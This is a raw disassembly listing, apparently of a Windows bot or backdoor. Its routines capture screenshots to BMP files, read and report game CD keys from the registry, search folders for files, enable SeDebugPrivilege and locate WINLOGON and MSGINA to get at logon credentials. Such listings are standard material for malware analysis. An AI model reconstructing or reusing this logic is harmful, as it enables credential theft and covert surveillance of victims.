var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_43F654 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4087E7 push 8 push edi call dword_43F670 push 0Ah push edi mov [ebp+var_8], eax call dword_43F670 push 0Ch push edi mov [ebp+var_C], eax call dword_43F670 cmp eax, 8 mov [ebp+var_10], eax ja short loc_408615 push 18h push edi call dword_43F670 mov ebx, 100h jmp short loc_408617 ; --------------------------------------------------------------------------- loc_408615: ; CODE XREF: sub_4085B3+50j xor ebx, ebx loc_408617: ; CODE XREF: sub_4085B3+60j push edi call dword_43F6B4 cmp eax, esi mov [ebp+var_4], eax jz loc_4087CC mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_43F6AC cmp eax, esi mov [ebp+var_1C], eax jz loc_4087D7 push eax push [ebp+var_4] call dword_43F544 cmp eax, esi jz loc_4087D7 cmp eax, 0FFFFFFFFh jz loc_4087D7 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_43F6B0 test eax, eax jz loc_4087D7 cmp ebx, esi jz short loc_4086D4 lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_43F598 mov ebx, eax loc_4086D4: ; CODE XREF: sub_4085B3+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi call near ptr 2640000h nop cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4087B7 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax nop call near ptr 2630000h lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] nop call near ptr 2630000h cmp ebx, esi jz short loc_408799 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] nop call near ptr 2630000h loc_408799: ; CODE XREF: sub_4085B3+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] call near ptr 2630000h nop push [ebp+arg_0] nop call near ptr 2621910h push 1 pop esi loc_4087B7: ; CODE XREF: sub_4085B3+1A2j push [ebp+var_1C] call dword_43F5CC push [ebp+var_4] call dword_43F530 mov edi, [ebp+var_20] loc_4087CC: ; CODE XREF: sub_4085B3+70j push edi call dword_43F530 mov eax, esi jmp short loc_4087E9 ; --------------------------------------------------------------------------- loc_4087D7: ; CODE XREF: sub_4085B3+C7j ; sub_4085B3+D9j ... push edi call dword_43F530 push [ebp+var_4] call dword_43F530 loc_4087E7: ; CODE XREF: sub_4085B3+23j xor eax, eax loc_4087E9: ; CODE XREF: sub_4085B3+222j pop edi pop esi pop ebx leave retn sub_4085B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087EE proc near ; CODE XREF: sub_40EE72+46EDp var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_43E100 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_43F5C0 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_40882C mov eax, esi jmp loc_4089E2 ; --------------------------------------------------------------------------- loc_40882C: ; CODE XREF: sub_4087EE+35j push edi call dword_43F608 test eax, eax jz short loc_408849 push ebx push [ebp+arg_4] push 40Ah push edi call dword_43F6C4 jmp short loc_40884B ; --------------------------------------------------------------------------- loc_408849: ; CODE XREF: sub_4087EE+47j xor eax, eax loc_40884B: ; CODE XREF: sub_4087EE+59j cmp eax, ebx jnz short loc_408856 loc_40884F: ; CODE XREF: sub_4087EE+88j ; sub_4087EE+BCj mov ebx, esi jmp loc_4089D7 ; --------------------------------------------------------------------------- loc_408856: ; CODE XREF: sub_4087EE+5Fj push edi call dword_43F608 test eax, eax jz short loc_408873 lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_43F6C4 loc_408873: ; CODE XREF: sub_4087EE+71j cmp [ebp+var_20], ebx jz short loc_40884F push edi call dword_43F608 test eax, eax mov edi, 42Ch jz short loc_408899 push ebx push ebx push edi push [ebp+var_4] call dword_43F6C4 mov [ebp+arg_4], eax jmp short loc_40889C ; --------------------------------------------------------------------------- loc_408899: ; CODE XREF: sub_4087EE+98j mov [ebp+arg_4], ebx loc_40889C: ; CODE XREF: sub_4087EE+A9j push [ebp+arg_4] call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_40884F push [ebp+arg_4] call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4088C3 push 1 pop ebx jmp loc_4089D7 ; --------------------------------------------------------------------------- loc_4088C3: ; CODE XREF: sub_4087EE+CBj push [ebp+var_4] call dword_43F608 test eax, eax jz short loc_4088E0 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_43F6C4 loc_4088E0: ; CODE XREF: sub_4087EE+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_417390 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_4088FB mov ecx, 280h loc_4088FB: ; CODE XREF: sub_4087EE+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_408907 mov eax, 1E0h loc_408907: ; CODE XREF: sub_4087EE+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_43F608 test eax, eax mov edi, 42Dh jz short loc_408951 push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_43F6C4 loc_408951: ; CODE XREF: sub_4087EE+153j push [ebp+var_4] call dword_43F608 test eax, eax jz short loc_40896E push ebx push ebx push 43Dh push [ebp+var_4] call dword_43F6C4 loc_40896E: ; CODE XREF: sub_4087EE+16Ej push [ebp+var_4] call dword_43F608 test eax, eax jz short loc_40898D push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_43F6C4 loc_40898D: ; CODE XREF: sub_4087EE+18Bj push [ebp+var_4] call dword_43F608 test eax, eax jz short loc_4089AA push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_43F6C4 loc_4089AA: ; CODE XREF: sub_4087EE+1AAj push [ebp+var_8] call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push [ebp+var_4] call dword_43F608 test eax, eax jz short loc_4089D7 push ebx push ebx push 40Bh push [ebp+var_4] call dword_43F6C4 loc_4089D7: ; CODE XREF: sub_4087EE+63j ; sub_4087EE+D0j ... push [ebp+var_4] call dword_43F718 mov eax, ebx loc_4089E2: ; CODE XREF: sub_4087EE+39j pop edi pop esi pop ebx leave retn sub_4087EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4089E7 proc near ; CODE XREF: sub_40EE72+47A6p var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_43E100 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_43F5C0 mov edi, eax cmp edi, ebx jnz short loc_408A25 mov eax, esi jmp loc_408C21 ; --------------------------------------------------------------------------- loc_408A25: ; CODE XREF: sub_4089E7+35j push edi call dword_43F608 test eax, eax jz short loc_408A42 push ebx push [ebp+arg_4] push 40Ah push edi call dword_43F6C4 jmp short loc_408A44 ; --------------------------------------------------------------------------- loc_408A42: ; CODE XREF: sub_4089E7+47j xor eax, eax loc_408A44: ; CODE XREF: sub_4089E7+59j cmp eax, ebx jnz short loc_408A4F loc_408A48: ; CODE XREF: sub_4089E7+8Bj ; sub_4089E7+BCj mov ebx, esi jmp loc_408C18 ; --------------------------------------------------------------------------- loc_408A4F: ; CODE XREF: sub_4089E7+5Fj push edi call dword_43F608 test eax, eax jz short loc_408A6F lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_43F6C4 loc_408A6F: ; CODE XREF: sub_4089E7+71j cmp [ebp+var_7C], ebx jz short loc_408A48 push edi call dword_43F608 test eax, eax jz short loc_408A92 push ebx push ebx push 42Ch push edi call dword_43F6C4 mov [ebp+arg_4], eax jmp short loc_408A95 ; --------------------------------------------------------------------------- loc_408A92: ; CODE XREF: sub_4089E7+96j mov [ebp+arg_4], ebx loc_408A95: ; CODE XREF: sub_4089E7+A9j push [ebp+arg_4] call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_408A48 push [ebp+arg_4] call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_408ABC push 1 pop ebx jmp loc_408C18 ; --------------------------------------------------------------------------- loc_408ABC: ; CODE XREF: sub_4089E7+CBj push edi call dword_43F608 test eax, eax jz short loc_408AD9 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_43F6C4 loc_408AD9: ; CODE XREF: sub_4089E7+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_417390 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_408AF4 mov ecx, 0A0h loc_408AF4: ; CODE XREF: sub_4089E7+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_408AFE push 78h pop eax loc_408AFE: ; CODE XREF: sub_4089E7+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_43F608 test eax, eax jz short loc_408B43 push esi push [ebp+arg_4] push 42Dh push edi call dword_43F6C4 loc_408B43: ; CODE XREF: sub_4089E7+14Aj push edi call dword_43F608 test eax, eax jz short loc_408B60 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_43F6C4 loc_408B60: ; CODE XREF: sub_4089E7+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_43F608 test eax, eax jz short loc_408B9E lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_43F6C4 loc_408B9E: ; CODE XREF: sub_4089E7+1A3j push edi call dword_43F608 test eax, eax jz short loc_408BB9 push [ebp+arg_0] push ebx push 414h push edi call dword_43F6C4 loc_408BB9: ; CODE XREF: sub_4089E7+1C0j push edi call dword_43F608 test eax, eax jz short loc_408BD2 push ebx push ebx push 43Eh push edi call dword_43F6C4 loc_408BD2: ; CODE XREF: sub_4089E7+1DBj push edi call dword_43F608 test eax, eax jz short loc_408BEF push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_43F6C4 loc_408BEF: ; CODE XREF: sub_4089E7+1F4j push [ebp+var_4] call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push edi call dword_43F608 test eax, eax jz short loc_408C18 push ebx push ebx push 40Bh push edi call dword_43F6C4 loc_408C18: ; CODE XREF: sub_4089E7+63j ; sub_4089E7+D0j ... push edi call dword_43F718 mov eax, ebx loc_408C21: ; CODE XREF: sub_4089E7+39j pop edi pop esi pop ebx leave retn sub_4089E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408C26 proc near ; CODE XREF: sub_40EE72+588Bp var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_42B894, ebx mov [ebp+var_C], 80h jz loc_408DC7 push esi push edi mov eax, offset off_42B894 mov esi, offset dword_42B8A0 mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)." loc_408C56: ; CODE XREF: sub_408C26+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_43F6D8 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_43F574 test eax, eax jnz loc_408DAD mov eax, [esi] cmp eax, ebx jz loc_408D71 push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset aSS_3 ; "%s\\%s" push eax call sub_4172B0 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_4179A8 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_408DAD push eax loc_408CCF: ; CODE XREF: sub_408C26+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41900C add esp, 0Ch test eax, eax jz loc_408D66 push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_408CFC push [ebp+var_8] jmp short loc_408CCF ; --------------------------------------------------------------------------- loc_408CFC: ; CODE XREF: sub_408C26+CFj push 3Dh push dword ptr [esi+4] call sub_418F50 pop ecx test eax, eax pop ecx jz short loc_408D2A lea eax, [ebp+var_70] push offset asc_42CA98 ; "=" push eax call sub_418B6E push offset asc_42CA98 ; "=" push ebx call sub_418B6E add esp, 10h jmp short loc_408D2D ; --------------------------------------------------------------------------- loc_408D2A: ; CODE XREF: sub_408C26+E4j lea eax, [ebp+var_70] loc_408D2D: ; CODE XREF: sub_408C26+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_2F0] push eax call sub_40BF6D add esp, 18h loc_408D66: ; CODE XREF: sub_408C26+B9j push [ebp+var_8] call sub_417900 pop ecx jmp short loc_408DAD ; --------------------------------------------------------------------------- loc_408D71: ; CODE XREF: sub_408C26+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4172B0 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_2F0] push eax call sub_40BF6D add esp, 28h loc_408DAD: ; CODE XREF: sub_408C26+60j ; sub_408C26+A2j ... push [ebp+var_4] call dword_43F644 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_408C56 pop edi pop esi loc_408DC7: ; CODE XREF: sub_408C26+19j pop ebx leave retn sub_408C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408DCA proc near ; DATA XREF: sub_40EE72+3D62o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_417AB0 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_408E1F lea eax, [ebp+var_114] push eax call sub_417AB0 pop ecx mov [ebp+eax+var_115], bl loc_408E1F: ; CODE XREF: sub_408DCA+3Fj lea eax, [ebp+var_218] push eax push offset unk_42CAEC lea eax, [ebp+var_49C] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+var_8], ebx jnz short loc_408E64 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40D679 add esp, 14h loc_408E64: ; CODE XREF: sub_408DCA+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_408EE5 add esp, 18h push eax lea eax, [ebp+var_49C] push offset unk_42CABC push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_408EC5 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40D679 add esp, 14h loc_408EC5: ; CODE XREF: sub_408DCA+D9j lea eax, [ebp+var_49C] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 25F0973h pop edi pop esi pop ebx sub_408DCA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408EE5 proc near ; CODE XREF: sub_408DCA+B9p ; sub_408EE5+9Ep var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_248] push offset aS_3 ; "%s\\*" push esi push eax call sub_41782A mov edi, dword_4240BC add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset aSS_3 ; "%s\\%s" jz short loc_408FA2 loc_408F31: ; CODE XREF: sub_408EE5+BBj test [ebp+var_144], 10h jz short loc_408F8E cmp [ebp+var_118], 2Eh jnz short loc_408F55 cmp [ebp+var_117], 0 jz short loc_408F8E cmp [ebp+var_117], 2Eh jz short loc_408F8E loc_408F55: ; CODE XREF: sub_408EE5+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx push esi push eax call sub_41782A push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_408EE5 add esp, 2Ch mov [ebp+arg_14], eax loc_408F8E: ; CODE XREF: sub_408EE5+53j ; sub_408EE5+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] nop call near ptr 26A0000h test eax, eax jnz short loc_408F31 loc_408FA2: ; CODE XREF: sub_408EE5+4Aj push [ebp+var_4] nop call near ptr 268041Ah push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_409028 loc_408FD9: ; CODE XREF: sub_408EE5+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset aFoundSS ; " Found: %s\\%s" push 200h push eax call sub_41782A push 1 lea eax, [ebp+var_54C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 28h lea eax, [ebp+var_144] push eax push esi nop call near ptr 26A0000h test eax, eax jnz short loc_408FD9 loc_409028: ; CODE XREF: sub_408EE5+F2j push esi nop call near ptr 268041Ah mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_408EE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409037 proc near ; DATA XREF: sub_40EE72+5237o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_40B78A cmp eax, esi mov [ebp+var_4], eax jz short loc_409076 cmp eax, 2 jz short loc_409076 push offset unk_42CD60 jmp loc_4091B5 ; --------------------------------------------------------------------------- loc_409076: ; CODE XREF: sub_409037+2Ej ; sub_409037+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx test eax, eax pop ecx jz loc_4091B0 push ebx push offset aNtdll_dll ; "NTDLL.DLL" nop call near ptr 26E0000h mov esi, dword_4240DC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_43F314, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_43F308, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_43F518, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_43F310, eax call esi mov dword_43F30C, eax call sub_409209 test eax, eax mov [ebp+arg_0], eax jz loc_409183 mov esi, dword_4240D8 mov edi, 400h mov ebx, offset dword_43E308 push edi push ebx push offset off_42CC9C call esi push edi mov edi, offset dword_43EB08 push edi push offset off_42CC84 call esi cmp [ebp+var_4], 1 push offset dword_43F520 push [ebp+arg_0] jnz short loc_40912F call sub_409392 jmp short loc_409134 ; --------------------------------------------------------------------------- loc_40912F: ; CODE XREF: sub_409037+EFj call sub_409539 loc_409134: ; CODE XREF: sub_409037+F6j pop ecx test eax, eax pop ecx jz short loc_40917C cmp dword_43F520, 0 jnz short loc_409163 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_42CC0C push 200h push eax call sub_41782A add esp, 18h jmp short loc_409196 ; --------------------------------------------------------------------------- loc_409163: ; CODE XREF: sub_409037+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_409173 call sub_40966F jmp short loc_409178 ; --------------------------------------------------------------------------- loc_409173: ; CODE XREF: sub_409037+133j call sub_409706 loc_409178: ; CODE XREF: sub_409037+13Aj pop ecx push eax jmp short loc_409188 ; --------------------------------------------------------------------------- loc_40917C: ; CODE XREF: sub_409037+101j push offset unk_42CBC4 jmp short loc_409188 ; --------------------------------------------------------------------------- loc_409183: ; CODE XREF: sub_409037+B6j push offset unk_42CB80 loc_409188: ; CODE XREF: sub_409037+143j ; sub_409037+14Aj lea eax, [ebp+var_29C] push eax call sub_4172B0 pop ecx pop ecx loc_409196: ; CODE XREF: sub_409037+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx push [ebp+var_8] nop call near ptr 26C076Eh pop ebx jmp short loc_4091C3 ; --------------------------------------------------------------------------- loc_4091B0: ; CODE XREF: sub_409037+4Ej push offset unk_42CB3C loc_4091B5: ; CODE XREF: sub_409037+3Aj lea eax, [ebp+var_29C] push eax call sub_4172B0 pop ecx pop ecx loc_4091C3: ; CODE XREF: sub_409037+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4091EA push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_40D679 add esp, 14h loc_4091EA: ; CODE XREF: sub_409037+191j lea eax, [ebp+var_29C] push eax call sub_40BF6D push [ebp+var_18] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25F0973h pop edi pop esi sub_409037 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_409209 proc near ; CODE XREF: sub_409037+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_4240EC mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_4240E8 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_43F314 push ebp push 0 call esi push eax nop call near ptr 26E0273h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_43F314 test eax, eax jnz short loc_4092F6 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4092F6 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4092F6 loc_409292: ; CODE XREF: sub_409209+EBj cmp word ptr [ebx+8], 5 jnz short loc_4092E9 push 0 push 0 call dword_43F308 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_43F518 test eax, eax jnz short loc_4092DA mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40930E loc_4092DA: ; CODE XREF: sub_409209+AAj test edi, edi jz short loc_4092E5 push edi call dword_43F310 loc_4092E5: ; CODE XREF: sub_409209+D3j mov eax, [esp+28h+var_10] loc_4092E9: ; CODE XREF: sub_409209+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_409292 loc_4092F6: ; CODE XREF: sub_409209+6Dj ; sub_409209+7Aj ... xor edi, edi loc_4092F8: ; CODE XREF: sub_409209+17Dj push ebp push 0 call esi push eax call near ptr 26E0273h nop mov eax, edi loc_409306: ; CODE XREF: sub_409209+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_40930E: ; CODE XREF: sub_409209+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_409377 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_409324: ; CODE XREF: sub_409209+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40938B push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_409369 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_409369: ; CODE XREF: sub_409209+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_409324 loc_409377: ; CODE XREF: sub_409209+10Fj test edi, edi jz short loc_409382 push edi call dword_43F310 loc_409382: ; CODE XREF: sub_409209+170j mov edi, [esp+28h+var_4] jmp loc_4092F8 ; --------------------------------------------------------------------------- loc_40938B: ; CODE XREF: sub_409209+13Cj xor eax, eax jmp loc_409306 sub_409209 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409392 proc near ; CODE XREF: sub_409037+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 2700AB6h cmp eax, esi mov [ebp+var_4], eax jnz short loc_4093BB xor eax, eax jmp loc_409536 ; --------------------------------------------------------------------------- loc_4093BB: ; CODE XREF: sub_409392+20j mov eax, [ebp+arg_4] 